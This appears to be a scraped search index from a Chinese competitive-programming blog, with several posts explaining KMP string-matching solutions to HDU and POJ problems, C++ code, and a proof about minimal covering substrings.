题意：给定两个字符串A和B，每个出现在A中的B(可以overlap)都有两种含义，问A串一共可能有多少种含义。","tags":["dp","kmp"],"title":"hdu 5763 || 2016 multi #4 1001 Another Meaning (kmp+dp)","type":"post"},{"categories":["ACM"],"content":"hdu 1867 题意 题意：给两个字符串，将两个字符串首尾拼接之后得到一个长度最短的字符串，求这个最短的字符串（一个串的前缀可能是另一个串的后缀，这样的话只出现一次就行了） 思路：kmp。。注意和hdu 1841区分。那道题是只要得到一个串包含两个串即可。这道题是首尾拼接得到。 还要注意。。这道题要求了长度相同时按照字典序小的方法拼接。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月11日 星期四 05时08分32秒 4File Name :code/hdu/1867.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cstack\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cdeque\u003e 19#include \u003cctime\u003e 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E5+7; 34char a[N],b[N]; 35int nxt[N]; 36void getnxt( char *s) 37{ 38 int n = strlen(s); 39 int i = 0 ; 40 int j = -1; 41 nxt[0] = -1; 42 while (i\u003cn) 43 if (j==-1||s[i]==s[j]) nxt[++i] = ++j; 44 else j = nxt[j]; 45} 46int kmp(char *a,char *b) 47{ 48 int n = strlen(a); 49 int m = strlen(b); 50 int i = 0; 51 int j = 0; 52 getnxt(b); 53 while (i\u003cn\u0026\u0026j\u003cm) 54 { 55 if (j==-1||a[i]==b[j]) i++,j++; 56 else j = nxt[j]; 57 } 58 if (i==n) //因为要保证，两个串是首尾拼接得到的，这样子必须是文本串的后缀和模式串的前缀相等。这是和hdu 1841的不同。 59 return j; 60 return 0; 61} 62int main() 63{ 64 #ifndef ONLINE_JUDGE 65 freopen(\"code/in.txt\",\"r\",stdin); 66 #endif 67 while (scanf(\"%s\\n%s\",a,b)!=EOF) 68 { 69 int k1 = kmp(a,b); 70 int k2 = kmp(b,a); 71 // cout\u003c\u003c\"k1:\"\u003c\u003ck1\u003c\u003c\" k2:\"\u003c\u003ck2\u003c\u003cendl; 72 if (k1==k2) 73 { 74 if (strcmp(a,b)\u003e0) 75 { 76 printf(\"%s\"","date":"2016-08-10","externalUrl":null,"permalink":"/2016/08/hdu-1867/","section":"Posts","summary":"hdu 1867 题意 题意：给两个字符串，将两个字符串首尾拼接之后得到一个长度最短的字符串，求这个最短的字符串（一个串的前缀可能是另一个串的后缀，这样的话只出现一次就行了）","tags":["kmp"],"title":"hdu 1867 A + B for you again （kmp，最短的字符串a+b）","type":"post"},{"categories":["ACM"],"content":"hdu 1841题目链接 题意：给两个字符串，问包含这两个字符串的最小的字符串的长度（最小是因为，一个串的子串可能是另一个串的后缀，这样出现一次就可以了） 思路：其实这道题最关键的思想部分是和kmp没有关系的。。。 我们考虑最naive的匹配方式。 如果存在文本串的子串（之前写成了后缀，特此更正，不一定是首尾拼接，这是和hdu 1867的区别）等于模式串的前缀，那么这段子串或者后缀的长度为最后的j。 两个串各做一次模式串和文本串。 不过暴力匹配复杂度爆炸，所以用了kmp。。。 upd:代码新添加了注释。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月11日 星期四 04时32分08秒 4File Name :code/hdu/r1841.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cstack\u003e 14#include \u003cset\u003e 15#include \u003cmap\u003e 16#include \u003cstring\u003e 17#include \u003ccmath\u003e 18#include \u003ccstdlib\u003e 19#include \u003cdeque\u003e 20#include \u003cctime\u003e 21#define fst first 22#define sec second 23#define lson l,m,rt\u003c\u003c1 24#define rson m+1,r,rt\u003c\u003c1|1 25#define ms(a,x) memset(a,x,sizeof(a)) 26typedef long long LL; 27#define pi pair \u003c int ,int \u003e 28#define MP make_pair 29 30using namespace std; 31const double eps = 1E-8; 32const int dx4[4]={1,0,0,-1}; 33const int dy4[4]={0,-1,1,0}; 34const int inf = 0x3f3f3f3f; 35const int N=1E6+7; 36int n; 37char a[N],b[N]; 38int nxt[N]; 39void getnxt(char *s) 40{ 41 int i = 0; 42 int j = -1; 43 int n = strlen(s); 44 nxt[0] = -1; 45 while (i\u003cn) 46 if (j==-1||s[i]==s[j]) nxt[++i]=++j; 47 else j = nxt[j]; 48} 49int kmp(char *a,char *b) 50{ 51 int n = strlen(a); 52 int m = strlen(b); 53 getnxt(b); 54 int i = 0 ; 55 int j = 0; 56 while (i\u003cn\u0026\u0026j\u003cm) //由于不一定哪个是模式串，所以要记得判边界j\u003cm,因为这个而wa了一发 57 { 58 if (j==-1||a[i]==b[j]) i++,j++; 59 else j = nxt[j]; 60 } 61 62 return j; //这道题只要求得到一个串同时包含这两个字符串，不是首尾拼接也可以，所以不用判断文本串是否为后缀（i==n) 63 return 0; 64} 65int main() 66{ 67 #ifndef ONLINE_JUDGE 68 freopen(\"code/in.txt\",\"r\",stdin); 69 #endif 70 71 int T; 72 cin\u003e\u003eT; 73 while (T--) 74 { 75 scanf(\"%s\",a); 76 sca","date":"2016-08-10","externalUrl":null,"permalink":"/2016/08/hdu1841/","section":"Posts","summary":"hdu 1841题目链接 题意：给两个字符串，问包含这两个字符串的最小的字符串的长度（最小是因为，一个串的子串可能是另一个串的后缀，这样出现一次就可以了）","tags":["kmp"],"title":"hdu 1841 Find the Shortest Common Superstring (kmp)","type":"post"},{"categories":["ACM"],"content":"hdu 1358 题目链接 题意：给一个字符串，求这个字符串的每个前缀（包括本身）的能否由k个子串组成（K\u003e1） 思路：和poj 2406 比较类似。。 结论：字符编号从0开始，如果又i%(i-next[i])==0，则i前面的 串为一个轮回串，其中轮回子串出现i/(i-next[i])次。 证明类似之前最小覆盖中的，不断的等价交换，两两相等…（这个证明在字符串这里总是遇到2333） 然而其实我。。。做的时候。。并没有想到去证明。。。而是打印出了nxt数组然后找规律求得2333. 之前一直觉得找规律不是什么拿的上台面的做法。。。但是今年打了几场多校。。尤其是电子科大的那场。。。我发现。。。其实有的题目的正解就是找规律，猜结论。。。 \u0026nbs; 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月11日 星期四 03时20分44秒 4File Name :code/hdu/1358.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cstack\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cdeque\u003e 19#include \u003cctime\u003e 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E6+7; 34int nxt[N]; 35char a[N]; 36int n ; 37void getnxt( char *s) 38{ 39 int i = 0 ; 40 int j = -1; 41 nxt[0] = -1; 42 int n = strlen(s); 43 while (i\u003cn) 44 if (j==-1||s[i]==a[j]) nxt[++i]=++j; 45 else j = nxt[j]; 46} 47int main() 48{ 49 #ifndef ONLINE_JUDGE 50 freopen(\"code/in.txt\",\"r\",stdin); 51 #endif 52 int cas = 0 ; 53 while (~scanf(\"%d\",\u0026n)) 54 { 55 if (n==0) break; 56 printf(\"Test case #%d\\n\",++cas); 57 scanf(\"%s\",a); 58 getnxt(a); 59// for ( int i = 0 ; i \u003c= n ; i++ ) printf(\"nxt[%d]:%d\\n\",i,nxt[i]); 60 for ( int i = 1 ; i \u003c= n ; i++) 61 { 62 if (nxt[i]==0) continue; //因为题目要求k\u003e1 63 int tmp = i-nxt[i]; 64 if (i%tmp==0) 65 pri","date":"2016-08-10","externalUrl":null,"permalink":"/2016/08/hdu-1358-period-kmp/","section":"Posts","summary":"hdu 1358 题目链接 题意：给一个字符串，求这个字符串的每个前缀（包括本身）的能否由k个子串组成（K\u003e1）","tags":["kmp"],"title":"hdu 1358 Period (kmp，求字符串的周期)","type":"post"},{"categories":["ACM"],"content":"hdu 2087 题目链接 题意：问模式串在文本串中出现的次数，不允许重叠。 思路：kmp，关键在于不允许重叠。。。 其实只要每次找到的时候j=0一下就好咯。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月11日 星期四 02时52分44秒 4File Name :code/hdu/2087.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cstack\u003e 14#include \u003cset\u003e 15#include \u003cmap\u003e 16#include \u003cstring\u003e 17#include \u003ccmath\u003e 18#include \u003ccstdlib\u003e 19#include \u003cdeque\u003e 20#include \u003cctime\u003e 21#define fst first 22#define sec second 23#define lson l,m,rt\u003c\u003c1 24#define rson m+1,r,rt\u003c\u003c1|1 25#define ms(a,x) memset(a,x,sizeof(a)) 26typedef long long LL; 27#define pi pair \u003c int ,int \u003e 28#define MP make_pair 29 30using namespace std; 31const double eps = 1E-8; 32const int dx4[4]={1,0,0,-1}; 33const int dy4[4]={0,-1,1,0}; 34const int inf = 0x3f3f3f3f; 35const int N=1E3+7; 36char a[N],b[N]; 37int nxt[N]; 38 39void getnxt(char *s) 40{ 41 int i = 0; 42 int j = -1; 43 nxt[0] = -1; 44 int n = strlen(s); 45 while (i\u003cn) 46 if (j==-1||s[i]==s[j]) nxt[++i]=++j; 47 else j = nxt[j]; 48} 49int kmp(char *a,char *b) 50{ 51 int n = strlen(a); 52 int m = strlen(b); 53 getnxt(b); 54 int i = 0; 55 int j = 0; 56 int cnt = 0 ; 57 while (i\u003cn) 58 { 59 if (j==-1||a[i]==b[j]) i++,j++; 60 else j=nxt[j]; 61 if (j==m) 62 { 63 cnt++; 64 j=0; //不允许重叠 65 } 66 } 67 return cnt; 68 69} 70int main() 71{ 72 #ifndef ONLINE_JUDGE 73 freopen(\"code/in.txt\",\"r\",stdin); 74 #endif 75 76 while (~scanf(\"%s\",a)) 77 { 78 if (a[0]=='#') break; 79 scanf(\"%s\",b); 80 int ans = kmp(a,b); 81 printf(\"%d\\n\",ans); 82 } 83 84 #ifndef ONLINE_JUDGE 85 fclose(stdin); 86 #endif 87 return 0; 88}","date":"2016-08-10","externalUrl":null,"permalink":"/2016/08/hdu-2087/","section":"Posts","summary":"hdu 2087 题目链接 题意：问模式串在文本串中出现的次数，不允许重叠。","tags":["kmp"],"title":"hdu 2087 剪花布条 (kmp，不允许重叠的匹配)","type":"post"},{"categories":["ACM"],"content":"hdu 1711 题目链接 题意：给定两个数列，问第二个数列在第一个数列中出现的位置（第一个元素对应的位置） 思路：数列也可以看成字符串，然后左kmp，返回的答案是i+1-m。。。1A 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月11日 星期四 02时30分23秒 4File Name :code/hdu/1711.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cstack\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cdeque\u003e 19#include \u003cctime\u003e 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E6+7; 34const int M=1E4+7; 35int a[N]; 36int b[M]; 37int nxt[M]; 38int n,m; 39void getnxt(int n) 40{ 41 int i = 0; 42 int j = -1; 43 nxt[0] = -1; 44 while (i\u003cn) 45 if (j==-1||b[i]==b[j]) nxt[++i]=++j; 46 else j = nxt[j]; 47} 48int kmp( int n,int m) 49{ 50 getnxt(m); 51 int i = 0; 52 int j = 0; 53 while (i\u003cn) 54 { 55 if (j==-1||a[i]==b[j]) i++,j++; 56 else j = nxt[j]; 57 if (j==m) return i+1-m; 58 } 59 return -1; 60} 61int main() 62{ 63 #ifndef ONLINE_JUDGE 64 freopen(\"code/in.txt\",\"r\",stdin); 65 #endif 66 int T; 67 scanf(\"%d\",\u0026T); 68 while (T--) 69 { 70 scanf(\"%d%d\",\u0026n,\u0026m); 71 for ( int i = 0 ; i \u003c n ; i++) scanf(\"%d\",\u0026a[i]); 72 for ( int i = 0 ; i \u003c m ; i++) scanf(\"%d\",\u0026b[i]); 73 int ans = kmp(n,m); 74 printf(\"%d\\n\",ans); 75 } 76 #ifndef ONLINE_JUDGE 77 fclose(stdin); 78 #endif 79 return 0; 80}","date":"2016-08-10","externalUrl":null,"permalink":"/2016/08/hdu1711/","section":"Posts","summary":"hdu 1711 题目链接 题意：给定两个数列，问第二个数列在第一个数列中出现的位置（第一个元素对应的位置）","tags":["kmp"],"title":"hdu 1711 Number Sequence (kmp)","type":"post"},{"categories":["ACM"],"content":"poj 3080 题目链接 题意：给出n个字符串（n\u003c=10），字符串长度不超过70，问出现在全部n个字符串中的最长并且字典序最小的长度大于等于3的子串。 思路：数据范围很小。。。直接暴力枚举+kmp匹配一下。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月11日 星期四 01时29分02秒 4File Name :code/poj/3080.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cstack\u003e 14#include \u003cset\u003e 15#include \u003cmap\u003e 16#include \u003cstring\u003e 17#include \u003ccmath\u003e 18#include \u003ccstdlib\u003e 19#include \u003cdeque\u003e 20#include \u003cctime\u003e 21#define fst first 22#define sec second 23#define lson l,m,rt\u003c\u003c1 24#define rson m+1,r,rt\u003c\u003c1|1 25#define ms(a,x) memset(a,x,sizeof(a)) 26typedef long long LL; 27#define pi pair \u003c int ,int \u003e 28#define MP make_pair 29 30using namespace std; 31const double eps = 1E-8; 32const int dx4[4]={1,0,0,-1}; 33const int dy4[4]={0,-1,1,0}; 34const int inf = 0x3f3f3f3f; 35const int N=70; 36int nxt[N]; 37string dna[15]; 38int n ; 39void getnxt( string a) 40{ 41 int i = 0 ; 42 int j = -1; 43 int n = a.length(); 44 nxt[0] = -1; 45 while (i\u003cn) 46 if (j==-1||a[i]==a[j]) nxt[++i]=++j; 47 else j = nxt[j]; 48} 49bool kmp(string a,string b) 50{ 51 int m = a.length(); 52 int n = b.length(); 53 getnxt(a); 54 int i = 0; 55 int j = 0; 56 while (i\u003cn) 57 { 58 if (j==-1||a[j]==b[i]) i++,j++; 59 else j=nxt[j]; 60 if (j==m) return true; 61 } 62 return false; 63} 64int main() 65{ 66 #ifndef ONLINE_JUDGE 67 freopen(\"code/in.txt\",\"r\",stdin); 68 #endif 69 int T; 70 ios::sync_with_stdio(false); 71 cin\u003e\u003eT; 72 while (T--) 73 { 74 cin\u003e\u003en; 75 for ( int i = 1 ; i \u003c= n ; i++) cin\u003e\u003edna[i]; 76 string ans=\"\"; 77 int len = dna[1].length(); 78 //cout\u003c\u003c\"len:\"\u003c\u003clen\u003c\u003cendl; 79 for ( int i = 0 ; i \u003c len ; i++) 80 for ( int j = 1 ; i+j-1 \u003c len ;j++) 81 { 82 bo","date":"2016-08-10","externalUrl":null,"permalink":"/2016/08/poj-3080/","section":"Posts","summary":"poj 3080 题目链接 题意：给出n个字符串（n\u003c=10），字符串长度不超过70，问出现在全部n个字符串中的最长并且字典序最小的长度大于等于3的子串。","tags":["kmp"],"title":"poj 3080 Blue Jeans (n个字符串的最长公共子串，暴力+kmp)","type":"post"},{"categories":["ACM"],"content":"poj 2185 题目链接 题意：给出一个字符矩形，问一个面积最小的矩形，覆盖掉整个矩形。大概就是二维的最小覆盖子串。 思路：对于每一行做最小覆盖子串，然后求lcm，每一列也是如此。最后记得判断不能超过原有的n,m。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月10日 星期三 23时46分47秒 4File Name :code/poj/2185.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cstack\u003e 14#include \u003cset\u003e 15#include \u003cmap\u003e 16#include \u003cstring\u003e 17#include \u003ccmath\u003e 18#include \u003ccstdlib\u003e 19#include \u003cdeque\u003e 20#include \u003cctime\u003e 21#define fst first 22#define sec second 23#define lson l,m,rt\u003c\u003c1 24#define rson m+1,r,rt\u003c\u003c1|1 25#define ms(a,x) memset(a,x,sizeof(a)) 26typedef long long LL; 27#define pi pair \u003c int ,int \u003e 28#define MP make_pair 29 30using namespace std; 31const double eps = 1E-8; 32const int dx4[4]={1,0,0,-1}; 33const int dy4[4]={0,-1,1,0}; 34const int inf = 0x3f3f3f3f; 35const int N=1E4+7; 36char s[N][80]; 37int n,m; 38int nxt[N]; 39void getrownxt(int row,int n) 40{ 41 int i = 0 ; 42 int j = -1; 43 nxt[0] = -1; 44 while (i\u003cn) 45 if (j==-1||s[row][i]==s[row][j]) nxt[++i]=++j; 46 else j = nxt[j]; 47} 48void getcolnxt(int col,int n) 49{ 50 int i = 0 ; 51 int j = -1; 52 nxt[0] = -1; 53 while (i\u003cn) 54 if (j==-1||s[i][col]==s[j][col]) nxt[++i]=++j; 55 else j = nxt[j]; 56} 57int gcd( int a,int b) 58{ 59 if (a%b==0) return b; 60 return gcd(b,a%b); 61} 62int lcm(int a,int b) 63{ 64 return a/gcd(a,b)*b; //蒟蒻的自我修养 65} 66int main() 67{ 68 #ifndef ONLINE_JUDGE 69 freopen(\"code/in.txt\",\"r\",stdin); 70 #endif 71 72 cin\u003e\u003en\u003e\u003em; 73 for ( int i = 0 ; i \u003c n ; i++) scanf(\"%s\",s[i]); 74 75 int L = 1; 76 for ( int i = 0 ; i \u003c n ; i++) 77 { 78 getrownxt(i,m); 79 L = lcm(L,m-nxt[m]); 80 } 81 int R = 1; 82 for ( int i = 0 ; i \u003c m ; i++) 83 { 84 ","date":"2016-08-10","externalUrl":null,"permalink":"/2016/08/poj-2185/","section":"Posts","summary":"poj 2185 题目链接 题意：给出一个字符矩形，问一个面积最小的矩形，覆盖掉整个矩形。大概就是二维的最小覆盖子串。","tags":["kmp","最小覆盖子串","最小覆盖子矩形"],"title":"poj 2185 Milking Grid (最小覆盖子矩形，kmp)","type":"post"},{"categories":["ACM"],"content":"参考资料（本文大部分是参考这篇博客，附带一些证明步骤的解释） 首先明确一些概念： 最小覆盖子串：对于某个字符串s，它的最小覆盖子串指的是长度最小的子串p，p满足通过自身的多次连接得到q，最后能够使s成为q的子串。 比如： 对于s=“abcab”，它的最小覆盖子串p=“abc”，因为p通过在它后面再接上一个p（即重叠0个字符），可以得到q=“abcabc”，此时s是q的子串。 对于s=“ababab”，它的最小覆盖子串为p=“ab”。 pre[i]（或next[i]）的实质是串str[1..i]的最长且小于i的“相等前、后缀”分别为str[1..pre[i]]（前缀）与str[(i-pre[i]+1)..i]（后缀），通俗讲就是：使str[1..i]前k个字母与后k个字母相等的最大k值。 结论先行：最小覆盖子串（串尾多一小段时，用前缀覆盖）长度为n-next[n]（n-pre[n]），其中n为串长，串的最后一位为为s[n-1]. 证明分两部分： １－长为n-next[n]的前缀必为覆盖子串。 当next[n]\u003cn-next[n]时，如图a，长为next[n]的前缀A与长为next[n]的后缀B相等，故长为n-next[n]的前缀C必覆盖后缀B； 当next[n]\u003en-next[n]时，如图b，将原串X向后移n-next[n]个单位得到Y串，根据next的定义，知长为next[n]的后缀串A与长为前缀串B相等，X串中的长为n-next[n]的前缀C与Y串中的前缀D相等，而X串中的串E又与Y串中的D相等……可见X串中的长为n-next[n]的前缀C可覆盖全串（其实是一个不断的等价交换的过程，用同样的方法可以证明每两个相邻的相等，所以可以覆盖全串） ２－长为n-next[n]的前缀是最短的。 如图c，串A是长为n-next[n]的前缀，串B是长为next[n]的后缀，假设存在长度小于n-next[n]的前缀C能覆盖全串，则将原串X截去前面一段C，得到新串Ｙ，则Ｙ必与原串长度大于next[n]的前缀相等，与next数组的定义（使str[1..i]前k个字母与后k个字母相等的最大k值。）矛盾。得证！有人问，为什么Ｙ与原串长大于next[n]的前缀相等？由假设知原串的构成必为CCC……E（E为C的前缀），串Ｙ的构成必为CC……E（比原串少一个Ｃ），懂了吧！","date":"2016-08-10","externalUrl":null,"permalink":"/2016/08/kmp/","section":"Posts","summary":"参考资料（本文大部分是参考这篇博客，附带一些证明步骤的解释） 首先明确一些概念： 最小覆盖子串：对于某个字符串s，它的最小覆盖子串指的是长度最小的子串p，p满足通过自身的多次连接得到q，最后能够使s成为q的子串。 比如： 对于s=“abcab”，它的最小覆盖子串p=“abc”，因为p通过在它后面再接上一个p（即重叠0个字符），可以得到q=“abcabc”，此时s是q的子串。 对于s=“ababab”，它的最小覆盖子串为p=“ab”。","tags":["kmp","最小覆盖子串"],"title":"KMP与最小覆盖子串","type":"post"},{"categories":["ACM"],"content":"poj 2752题目链接 题意：求出所有的前缀和后缀相同的子串的长度。 思路:求出nxt函数，观察发现，从从len递归向前就是答案。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月10日 星期三 21时05分52秒 4File Name :code/poj/2752.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cstack\u003e 14#include \u003cset\u003e 15#include \u003cmap\u003e 16#include \u003cstring\u003e 17#include \u003ccmath\u003e 18#include \u003ccstdlib\u003e 19#include \u003cdeque\u003e 20#include \u003cctime\u003e 21#define fst first 22#define sec second 23#define lson l,m,rt\u003c\u003c1 24#define rson m+1,r,rt\u003c\u003c1|1 25#define ms(a,x) memset(a,x,sizeof(a)) 26typedef long long LL; 27#define pi pair \u003c int ,int \u003e 28#define MP make_pair 29 30using namespace std; 31const double eps = 1E-8; 32const int dx4[4]={1,0,0,-1}; 33const int dy4[4]={0,-1,1,0}; 34const int inf = 0x3f3f3f3f; 35const int N=4E6+7; 36int n; 37string a; 38int nxt[N]; 39void getnxt( int n) 40{ 41 int i = 0 ; 42 int j = -1 ; 43 nxt[0] = -1; 44 while (i\u003cn) 45 if (j==-1||a[i]==a[j]) nxt[++i]=++j; 46 else j = nxt[j]; 47} 48void print( int x) 49{ 50 if (nxt[x]!=-1) 51 { 52 print(nxt[x]); 53 printf(\"%d \",x); 54 } 55} 56int main() 57{ 58 #ifndef ONLINE_JUDGE 59 freopen(\"code/in.txt\",\"r\",stdin); 60 #endif 61// ios::sync_with_stdio(false); 62 while (cin\u003e\u003ea) 63 { 64 int len = a.length(); 65 getnxt(len); 66 // for ( int i = 0 ; i \u003c len ; i++) cout\u003c\u003ci\u003c\u003c\" nxt[i]:\"\u003c\u003cnxt[i]\u003c\u003cendl; 67 print(nxt[len]); 68 printf(\"%d\\n\",len); 69 70 } 71 72 #ifndef ONLINE_JUDGE 73 fclose(stdin); 74 #endif 75 return 0; 76}","date":"2016-08-10","externalUrl":null,"permalink":"/2016/08/poj-2752/","section":"Posts","summary":"poj 2752题目链接 题意：求出所有的前缀和后缀相同的子串的长度。","tags":["kmp"],"title":"poj 2752 Seek the Name, Seek the Fame (kmp 理解nxt函数)","type":"post"},{"categories":["ACM"],"content":"hdu1686 题意：给出模式串和文本串，问模式串在文本串中出现了多少次，可以overlap. 思路：思考naive的匹配过程。nxt函数不过是改进了当失配发生时，不是移动1位，而是移动多位。nxt函数的含义是当失配发生时，移动到的位置….所以有的教程管这个叫失配函数吧，也不是很难理解的样子。 学会kmp之后的第一道kmp，嘿嘿嘿（是的，poj2406的时候我并不会kmp 2333) 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月10日 星期三 20时02分33秒 4File Name :code/hdu/1686.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cstack\u003e 14#include \u003cset\u003e 15#include \u003cmap\u003e 16#include \u003cstring\u003e 17#include \u003ccmath\u003e 18#include \u003ccstdlib\u003e 19#include \u003cdeque\u003e 20#include \u003cctime\u003e 21#define fst first 22#define sec second 23#define lson l,m,rt\u003c\u003c1 24#define rson m+1,r,rt\u003c\u003c1|1 25#define ms(a,x) memset(a,x,sizeof(a)) 26typedef long long LL; 27#define pi pair \u003c int ,int \u003e 28#define MP make_pair 29 30using namespace std; 31const double eps = 1E-8; 32const int dx4[4]={1,0,0,-1}; 33const int dy4[4]={0,-1,1,0}; 34const int inf = 0x3f3f3f3f; 35const int N=1E4+7; 36string a,b; 37int ans; 38int nxt[N]; 39 40void getnxt( int n) 41{ 42 int i = 0; 43 int j = -1; 44 nxt[0] = -1; 45 while (i\u003cn) 46 if (j==-1||b[i]==b[j]) nxt[++i]=++j; 47 else j = nxt[j]; 48} 49 50void kmp( int n,int m) 51{ 52 int i = 0 ; 53 int j = 0 ; 54 getnxt(m); 55 // for ( int i = 0 ; i \u003c m ; i++) cout\u003c\u003ci\u003c\u003c\" \"\u003c\u003cnxt[i]\u003c\u003cendl; 56 while (i\u003cn) 57 { 58 if (j==-1||a[i]==b[j]) i++,j++; 59 else j = nxt[j]; 60 if (j==m) ans++,j=nxt[j]; 61 62// cout\u003c\u003c\"n:\"\u003c\u003cn\u003c\u003c\" i:\"\u003c\u003ci\u003c\u003c\" j:\"\u003c\u003cj\u003c\u003cendl; 63 } 64} 65int main() 66{ 67 #ifndef ONLINE_JUDGE 68 freopen(\"code/in.txt\",\"r\",stdin); 69 #endif 70 71 ios::sync_with_stdio(false); 72 int T; 73 cin\u003e\u003eT; 74 while (T--) 75 { 76 cin\u003e\u003ea\u003e\u003eb; 77 swap(a,b); 78// cout\u003c\u003c\"a:\"\u003c\u003ca\u003c\u003c\" b:\"\u003c\u003cb\u003c\u003cendl; 79 int la = a.length(); 80 int lb = b","date":"2016-08-10","externalUrl":null,"permalink":"/2016/08/hdu1686/","section":"Posts","summary":"hdu1686 题意：给出模式串和文本串，问模式串在文本串中出现了多少次，可以overlap.","tags":["kmp"],"title":"hdu  1686 Oulipo (kmp模板题)","type":"post"},{"categories":["随笔杂谈"],"content":"其实一个妹子身上，最让人着迷的，是对生活的态度吧。 ** 过了好久我终于领悟到这点。**","date":"2016-08-09","externalUrl":null,"permalink":"/2016/08/2016-Tanabata/","section":"Posts","summary":"其实一个妹子身上，最让人着迷的，是对生活的态度吧。 ** 过了好久我终于领悟到这点。**","tags":["算法竞赛"],"title":"2016七夕，关于爱情的随想","type":"post"},{"categories":["ACM"],"content":"20170801update:当时竟然没有强调next函数的含义？ next[i]的含义是,i之前的整个前缀中，最长的该前缀的前缀和后缀相同的长度。 看图： KMP感觉是我学到现在最难懂的一个算法了QAQ 为什么你们都那么强啊，看几个小时就看懂了… 先放一波我觉得值得看的资料： kmp算法讲解（配图比较全….） kmp学习资料2 说下我对kmp算法的理解： 理解kmp算法大概分成两个部分。 一部分是理解一个naive的kmp算法，可以叫\"fast slide\" algorithm 思想大概就是，当mismatch发生时，我们并不是一无所有，而是知道在mismatch发生前所匹配的字符的信息的。 然后知道这些信息我们可以做什么呢？ 先观察一下最最暴力的求解字符串匹配的算法： 1//*********************************************************** 2//brute force 3 n = T.length(); 4 m = P.length(); 5 6 i0 = 0; // Line P up with the first character of T 7 i = 0; // Start matching with first char in T 8 j = 0; // Start matching with first char in P 9 10 while ( i \u003c n ) // Not all characters used 11 { 12 if ( T[i] == P[j] ) 13 { 14 /* =============================================== 15 T[i] and P[j] match ==\u003e try next pair 16 =============================================== */ 17 i++; // Match next pair 18 j++; 19 20 if ( j == m ) 21 return ( i0 ); // Match found at position i0 !!! 22 } 23 else 24 { /* =========================================== 25 T[i] ≠ P[j]: 26 1. Slide P up 1 position 27 2. restart from beginning of string 28 =========================================== */ 29 i0 = i0 + 1; // Slide pattern P one character further 30 31 i = i0; // Restart matching at position i0 in T 32 j = 0; // Restart matching at position 0 in P 33 } 34 } 35 36 return -1; // Return not found 37 } 这个算法低效在，当mismatch发生时，我只是往前移动了一个字符。 因此我们定义了 maxoverlap函数。。 需要特别强调的是： 这样我们就可以利用maxoverlap函数来优化当mismatch发生的时候，移动的过程。 1 KMP( T, P ) 2 { 3 int i0, i, j, m, n; 4 5 n = T.length(); 6 m = P.length(); 7 8 i0 = 0; // Line P up with the first character of T 9 i = 